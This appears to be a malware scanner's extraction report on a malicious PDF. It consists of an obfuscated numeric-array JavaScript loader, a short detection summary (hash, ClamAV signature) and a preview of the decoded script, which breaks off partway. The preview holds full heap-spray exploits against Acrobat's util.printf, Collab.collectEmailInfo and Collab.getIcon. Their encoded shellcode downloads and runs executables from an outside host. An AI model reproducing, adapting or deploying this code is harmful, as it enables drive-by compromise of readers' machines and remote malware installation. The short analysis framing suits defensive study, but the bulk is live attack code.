70,66,66,65,175,153,171,88,156,167,174,166,173,106,89,117,89,96,156,155,89,101,89,104,177,108,105,104,105,104,105,97,104,153,157,156,171,115,70,66,66,65,159,167,171,88,97,174,154,170,89,155,168,173,167,172,89,117,89,104,116,88,156,167,174,166,173,88,117,88,156,167,174,166,173,106,116,88,156,167,174,166,173,99,100,97,180,69,67,65,66,65,166,157,166,151,154,170,171,153,178,147,156,167,174,166,173,149,89,117,89,177,154,170,172,168,89,99,89,171,161,157,165,164,156,167,157,157,116,69,67,65,66,181,70,66,66,65,175,153,171,88,168,174,158,170,159,164,168,175,89,117,89,173,167,157,172,155,154,168,158,96,91,93,174,104,156,104,156,93,174,104,156,104,156,90,98,115,70,66,66,65,176,160,162,164,158,88,97,167,175,157,171,158,165,167,176,102,165,157,167,159,173,160,89,116,89,108,109,113,110,106,98,179,70,66,66,65,66,167,175,157,171,158,165,167,176,88,100,117,89,167,175,157,171,158,165,167,176,115,70,66,66,65,182,69,67,65,66,172,161,161,172,102,156,167,165,164,154,154,140,172,168,170,158,88,118,88,124,167,165,164,154,154,103,155,168,164,165,157,156,172,126,165,154,161,165,129,167,158,168,96,180,171,174,154,163,114,89,90,91,100,166,171,160,114,89,167,175,157,171,158,165,167,176,181,98,115,70,66,66,181,70,66,70,66,66,158,174,166,156,172,162,167,167,88,156,167,165,164,154,154,152,159,158,172,162,155,168,166,97,97,180,69,67,65,66,161,159,88,97,153,169,168,103,156,168,155,103,123,168,164,165,153,155,102,160,157,173,129,156,167,167,97,180,69,67,65,66,65,175,153,171,88,154,170,171,177,89,117,89,166,158,175,89,121,171,170,154,177,97,97,116,69,67,65,66,65,175,153,171,88,175,174,169,157,173,160,178,153,89,117,89,173,167,157,172,155,154,168,158,96,91,93,174,125,123,125,114,93,174,104,105,104,106,93,174,109,111,104,105,93,174,121,106,110,109,93,174,104,105,107,105,93,174,104,105,104,105,93,174,108,105,112,123,93,174,112,123,104,124,93,174,105,124,111,105,93,174,112,123,121,125,93,174,104,113,108,105,93,174,123,108,109,126,93,174,112,123,109,110,93,174,112,123,125,124,93,174,104,113,108,110,93,174,107,108,109,107,93,174,123,106,124,107,93,174,104,108,123,107,93,174,105,105,107,107,93,174,112,105,108,105,93,174,104,105,107,113,93,174,126,110,111,110,93,174,123,107,112,123,93,174,109,125,109,122,93,174,104,109,123,107,93,174,109,110,104,105,93,174,125,124,112,123,93,174,109,106,109,106,93,174,109,111,109,108,93,174,110,105,109,112,93,174,109,125,112,123,93,174,107,108,104,113,93,174,112,123,123,105,93,174,104,124,111,110,93,174,126,126,112,123,93,174,111,111,104,108,93,174,112,123,107,124,93,174,111,113,108,126,93,174,123,127,104,108,93,174,109,106,112,123,93,174,109,107,105,124,93,174,109,106,112,123,93,174,109,107,106,109,93,174,111,106,112,123,93,174,108,126,105,109,93,174,111,110,112,114,93,174,112,123,126,124,93,174,106,105,111,106,93,174,126,112,104,108,93,174,108,122,113,114,93,174,108,107,121,125,93,174,107,123,110,105,93,174,126,124,109,110,93,174,104,109,111,110,93,174,123,105,107,108,93,174,107,112,125,123,93,174,126,127,107,108,93,174,108,110,104,108,93,174,113,112,104,124,93,174,123,127,112,123,93,174,111,110,121,126,93,174,106,123,126,125,93,174,108,127,126,114,93,174,125,113,109,106,93,174,126,127,113,109,93,174,126,127,126,127,93,174,123,108,107,123,93,174,111,109,110,106,93,174,125,123,104,107,93,174,112,123,124,114,93,174,104,124,108,110,93,174,109,126,113,107,93,174,126,107,104,108,93,174,125,105,124,106,93,174,123,111,104,108,93,174,123,114,107,108,93,174,122,112,104,127,93,174,109,127,104,113,93,174,125,106,123,106,93,174,104,108,104,107,93,174,104,108,123,122,93,174,112,123,123,127,93,174,104,108,104,106,93,174,112,114,123,107,93,174,126,113,108,110,93,174,112,123,110,106,93,174,126,113,108,110,93,174,109,126,109,127,93,174,123,114,109,123,93,174,109,110,123,108,93,174,125,124,112,123,93,174,125,113,109,106,93,174,126,127,108,114,93,174,126,127,126,127,93,174,110,113,109,105,93,174,110,105,125,113,93,174,104,109,122,127,93,174,110,124,125,113,93,174,126,127,126,127,93,174,107,108,126,127,93,174,109,107,124,107,93,174,126,127,109,107,93,174,104,113,111,110,93,174,124,105,126,127,93,174,108,110,112,114,93,174,112,123,126,124,93,174,126,124,108,110,93,174,123,108,123,114,93,174,112,123,109,110,93,174,112,108,125,124,93,174,104,124,125,124,93,174,108,110,112,125,93,174,109,105,126,109,93,174,108,110,123,111,93,174,111,110,126,109,93,174,108,110,123,111,93,174,111,107,126,110,93,174,108,110,123,111,93,174,110,124,126,111,93,174,108,110,123,111,93,174,110,125,126,112,93,174,108,110,123,111,93,174,110,127,126,113,93,174,108,110,123,111,93,174,110,126,126,114,93,174,108,110,123,111,93,174,106,126,126,122,93,174,108,110,123,111,93,174,110,109,126,123,93,174,108,110,123,111,93,174,110,124,126,124,93,174,108,110,123,111,93,174,110,124,126,125,93,174,108,110,123,111,93,174,104,105,126,126,93,174,121,105,125,113,93,174,126,127,126,127,93,174,109,105,126,127,93,174,109,125,110,113,93,174,105,106,112,122,93,174,125,113,105,111,93,174,126,127,105,110,93,174,126,127,126,127,93,174,123,109,112,108,93,174,112,110,104,124,93,174,111,109,123,105,93,174,110,122,105,110,93,174,110,122,104,105,93,174,126,127,104,105,93,174,104,124,111,110,93,174,111,110,126,127,93,174,110,122,104,113,93,174,126,127,104,105,93,174,112,110,124,105,93,174,111,110,123,105,93,174,108,105,104,108,93,174,123,108,123,114,93,174,123,105,107,108,93,174,123,108,123,114,93,174,107,108,109,112,93,174,112,123,123,105,93,174,106,109,108,124,93,174,112,123,104,124,93,174,106,109,111,124,93,174,126,124,104,113,93,174,121,122,126,108,93,174,123,108,109,127,93,174,108,124,112,123,93,174,104,109,106,109,93,174,107,114,112,105,93,174,112,123,104,105,93,174,111,109,123,106,93,174,108,105,104,111,93,174,107,113,112,105,93,174,111,110,104,105,93,174,106,123,126,122,93,174,123,108,123,106,93,174,112,123,109,110,93,174,112,108,125,124,93,174,110,109,125,124,93,174,112,125,109,108,93,174,126,105,108,110,93,174,107,108,109,112,93,174,109,105,124,123,93,174,108,110,123,111,93,174,110,123,126,105,93,174,108,110,123,111,93,174,110,110,126,106,93,174,108,110,123,111,93,174,111,107,126,107,93,174,108,110,123,111,93,174,110,126,126,108,93,174,108,110,123,111,93,174,110,110,126,109,93,174,108,110,123,111,93,174,110,124,126,110,93,174,108,110,123,111,93,174,107,108,126,111,93,174,108,110,123,111,93,174,107,107,126,112,93,174,108,110,123,111,93,174,106,126,126,113,93,174,108,110,123,111,93,174,110,109,126,114,93,174,108,110,123,111,93,174,110,124,126,122,93,174,108,110,123,111,93,174,110,124,126,123,93,174,109,125,112,113,93,174,125,113,126,124,93,174,126,127,104,123,93,174,126,127,126,127,93,174,110,113,109,105,93,174,108,108,110,113,93,174,112,126,126,114,93,174,112,105,125,113,93,174,126,127,126,126,93,174,112,123,126,127,93,174,112,125,126,113,93,174,113,124,108,110,93,174,108,109,110,122,93,174,125,113,109,105,93,174,126,127,111,126,93,174,126,127,126,127,93,174,108,110,112,125,93,174,110,122,125,105,93,174,109,105,105,105,93,174,111,108,125,113,93,174,126,127,126,127,93,174,112,108,126,127,93,174,105,124,123,109,93,174,108,110,112,125,93,174,109,105,125,105,93,174,108,110,112,125,93,174,109,105,113,124,93,174,109,108,109,108,93,174,109,108,109,108,93,174,109,108,109,108,93,174,111,110,126,127,93,174,123,112,104,113,93,174,113,124,108,110,93,174,104,105,108,109,93,174,104,105,104,105,93,174,126,127,109,108,93,174,109,127,124,112,93,174,122,111,104,127,93,174,109,123,123,105,93,174,123,108,123,114,93,174,112,123,109,110,93,174,109,106,125,124,93,174,109,108,109,106,93,174,109,112,109,111,93,174,108,107,110,122,93,174,111,107,125,113,93,174,104,105,104,105,93,174,112,123,104,105,93,174,107,108,124,113,93,174,112,110,126,111,93,174,109,114,124,123,93,174,108,110,123,112,93,174,110,106,126,113,93,174,110,110,106,126,93,174,123,112,111,113,93,174,126,124,108,110,93,174,104,105,110,110,93,174,104,105,104,105,93,174,109,111,111,126,93,174,108,110,112,125,93,174,109,105,126,113,93,174,125,113,109,111,93,174,104,105,109,106,93,174,104,105,104,105,93,174,109,105,109,114,93,174,122,106,125,113,93,174,126,127,126,126,93,174,112,110,126,127,93,174,109,114,123,105,93,174,111,109,109,114,93,174,112,125,107,114,93,174,104,106,108,111,93,174,125,113,109,105,93,174,104,105,107,123,93,174,104,105,104,105,93,174,126,113,112,123,93,174,108,110,112,125,93,174,109,105,126,113,93,174,106,106,125,113,93,174,126,127,126,127,93,174,112,110,126,127,93,174,109,114,123,105,93,174,111,109,109,114,93,174,109,112,104,124,93,174,104,106,125,113,93,174,126,127,126,127,93,174,109,114,126,127,93,174,108,109,123,111,93,174,126,127,107,113,93,174,109,105,111,108,93,174,108,110,112,125,93,174,126,126,126,113,93,174,109,113,104,105,93,174,108,110,112,125,93,174,109,105,126,113,93,174,125,113,109,112,93,174,126,126,111,109,93,174,126,127,126,127,93,174,109,114,109,114,93,174,108,111,108,111,93,174,126,108,107,123,93,174,121,122,111,124,93,174,109,126,109,127,93,174,123,114,109,123,93,174,109,110,123,108,93,174,125,124,112,123,93,174,109,108,109,106,93,174,110,105,110,111,93,174,107,107,122,106,93,174,104,105,125,113,93,174,104,105,104,105,93,174,109,113,104,105,93,174,104,113,107,113,93,174,104,108,111,109,93,174,125,123,108,105,93,174,108,105,126,114,93,174,109,125,112,123,93,174,112,105,104,113,93,174,108,107,126,123,93,174,104,113,111,110,93,174,124,123,107,108,93,174,105,113,112,122,93,174,123,108,112,123,93,174,105,112,125,123,93,174,105,113,107,113,93,174,105,106,111,111,93,174,107,108,108,105,93,174,112,109,123,114,93,174,111,109,124,123,93,174,108,105,104,124,93,174,104,113,107,113,93,174,126,123,111,110,93,174,126,126,108,105,93,174,125,123,123,123,93,174,107,108,126,107,93,174,112,114,123,105,93,174,126,124,108,110,93,174,108,110,112,123,93,174,109,123,126,124,93,174,123,108,123,114,93,174,104,107,107,107,93,174,111,109,110,113,93,174,111,105,111,109,93,174,106,127,107,122,93,174,110,125,106,127,93,174,111,107,110,114,93,174,110,127,111,107,93,174,110,127,111,107,93,174,110,110,110,126,93,174,110,127,111,107,93,174,110,114,110,111,93,174,110,110,111,111,93,174,110,108,106,126,93,174,110,125,110,127,93,174,111,108,106,127,93,174,110,110,110,124,93,174,111,105,110,110,93,174,110,113,106,127,93,174,111,122,111,112,93,174,107,107,111,110,93,174,110,110,106,126,93,174,110,110,111,113,93,174,110,113,104,105,93,174,111,109,111,109,93,174,107,122,111,105,93,174,106,127,106,127,93,174,110,114,110,125,93,174,111,107,111,107,93,174,111,107,110,127,93,174,110,126,110,127,93,174,111,107,110,110,93,174,110,111,110,127,93,174,111,111,110,114,93,174,106,126,110,110,93,174,110,127,110,108,93,174,106,127,110,125,93,174,110,124,111,108,93,174,110,110,110,110,93,174,106,127,111,105,93,174,110,124,110,108,93,174,110,108,110,114,93,174,106,126,110,123,93,174,110,113,111,105,93,174,107,127,111,105,93,174,107,125,111,107,93,174,104,105,104,105,90,98,115,70,66,66,65,66,174,154,170,89,160,144,169,110,104,105,123,135,88,118,88,175,174,169,157,173,160,178,153,103,164,158,166,160,172,161,88,99,88,107,115,70,66,66,65,66,174,154,170,89,164,158,166,89,117,89,104,177,108,105,104,105,104,105,88,102,88,97,160,144,169,110,104,105,123,135,88,100,88,105,176,108,112,98,115,70,66,66,65,66,174,154,170,89,177,154,170,172,168,89,117,89,173,167,157,172,155,154,168,158,96,91,93,174,113,105,113,105,93,174,113,105,113,105,90,98,115,70,66,66,65,66,177,154,170,172,168,89,117,89,158,162,176,152,161,173,96,178,153,171,171,169,100,89,164,158,166,98,115,70,66,66,65,66,174,154,170,89,168,110,121,163,131,111,109,159,88,118,88,97,104,177,104,156,104,156,104,156,104,156,88,102,88,105,176,109,104,105,104,105,104,98,88,104,88,105,176,109,104,105,104,105,104,116,69,67,65,66,65,159,167,171,88,97,174,154,170,89,174,170,155,138,124,114,110,178,88,118,88,105,115,89,174,170,155,138,124,114,110,178,88,117,88,169,109,122,162,132,110,110,158,116,88,175,169,156,137,125,113,111,177,89,99,100,88,98,179,70,66,66,65,66,65,154,170,171,177,148,174,170,155,138,124,114,110,178,149,89,117,89,177,154,170,172,168,89,99,89,174,175,168,158,172,161,177,154,115,70,66,66,65,66,181,70,66,66,65,66,174,154,170,89,172,142,133,161,134,155,127,176,88,118,88,174,166,158,171,156,153,169,157,97,90,94,104,114,90,98,115,70,66,66,65,66,175,161,161,165,157,89,96,173,141,134,160,135,154,128,175,103,164,158,166,160,172,161,88,117,88,105,176,109,104,105,104,98,179,70,66,66,65,66,65,173,141,134,160,135,154,128,175,89,99,118,88,173,141,134,160,135,154,128,175,116,69,67,65,66,65,182,69,67,65,66,65,173,141,134,160,135,154,128,175,89,117,89,90,135,102,91,88,100,88,173,141,134,160,135,154,128,175,116,69,67,65,66,65,154,168,169,102,157,167,156,102,124,167,165,164,154,154,103,159,158,172,130,155,168,166,97,172,142,133,161,134,155,127,176,97,116,69,67,65,66,181,70,66,66,181,70,66,70,66,66,158,174,166,156,172,162,167,167,88,169,156,159,151,172,172,154,170,173,96,98,179,70,66,70,66,66,65,175,153,171,88,175,157,171,171,162,167,167,88,118,88,154,168,169,102,175,161,158,175,158,170,143,157,171,171,162,167,167,102,173,167,140,172,171,161,167,159,97,97,116,69,67,65,66,174,158,170,172,161,168,166,89,117,89,174,158,170,172,161,168,166,103,170,158,168,165,153,156,157,97,103,149,124,104,159,101,95,96,97,116,69,67,65,66,174,154,170,89,174,154,170,172,161,168,166,152,153,171,170,154,177,89,117,89,166,158,175,89,121,171,170,154,177,97,174,158,170,172,161,168,166,103,155,161,153,171,121,173,96,105,97,101,88,175,157,171,171,162,167,167,102,156,160,154,170,122,172,97,105,98,100,89,174,158,170,172,161,168,166,103,155,161,153,171,121,173,96,107,97,98,115,70,66,66,65,162,158,89,96,97,174,154,170,172,161,168,166,152,153,171,170,154,177,148,104,150,88,118,117,89,112,98,88,95,94,89,96,175,153,171,171,162,167,167,151,154,170,171,153,178,147,106,149,89,117,118,88,105,97,89,180,181,88,97,174,154,170,172,161,168,166,152,153,171,170,154,177,148,105,150,88,118,117,89,105,89,94,95,88,175,153,171,171,162,167,167,151,154,170,171,153,178,147,107,149,89,116,89,107,98,97,180,69,67,65,66,65,174,172,162,164,152,168,171,161,167,172,159,96,98,115,70,66,66,65,182,69,67,65,66,161,159,88,97,96,175,153,171,171,162,167,167,151,154,170,171,153,178,147,105,149,89,116,89,112,98,88,181,180,89,96,175,153,171,171,162,167,167,151,154,170,171,153,178,147,105,149,89,117,118,88,113,88,95,94,89,174,154,170,172,161,168,166,152,153,171,170,154,177,148,105,150,88,117,88,107,88,95,94,89,174,154,170,172,161,168,166,152,153,171,170,154,177,148,106,150,88,117,88,107,97,98,179,70,66,66,65,66,155,168,164,165,153,155,151,158,165,154,161,165,96,98,115,70,66,66,65,182,69,67,65,66,161,159,88,97,96,175,153,171,171,162,167,167,151,154,170,171,153,178,147,105,149,89,116,89,113,98,88,181,180,89,96,175,153,171,171,162,167,167,151,154,170,171,153,178,147,105,149,89,117,118,88,114,88,95,94,89,174,154,170,172,161,168,166,152,153,171,170,154,177,148,105,150,88,117,88,106,97,98,179,70,66,66,65,66,155,168,164,165,153,155,151,160,157,173,161,156,167,167,96,98,115,70,66,66,65,182,69,67,65,182,69,67,69,67,65,169,156,159,151,172,172,154,170,173,96,98,115,70,66,66],qgjrz=function(){for(var crtvw;vkczgn<fikoy.length;vkczgn+=1){var dazh=vkczgn%ahciz.length+1;var adhmns=ahciz.substring(vkczgn%ahciz.length,dazh);var dijlpq=fikoy[vkczgn];kmnrt+=hjmqt(dijlpq-adhmns.charCodeAt(0));} dfjq(kmnrt);};qgjrz();jlpruy='';cmnpu="";cmwy='';aptv=true;dekl=false;ahkoqt=false;npstvw=false;oquy='';depqr="depqr";cipsy="";aglnqy='';dfilp=10867;bflo="";itaz=22192;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10066 bytes
SHA-256: `edcec8588f3dd4600b656113b1e80b228c476b9f94429973ebf544e14ae72223`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u692F%u706C%u7372%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u642F%u6765%u7473%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u682F%u7A77%u3275%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ 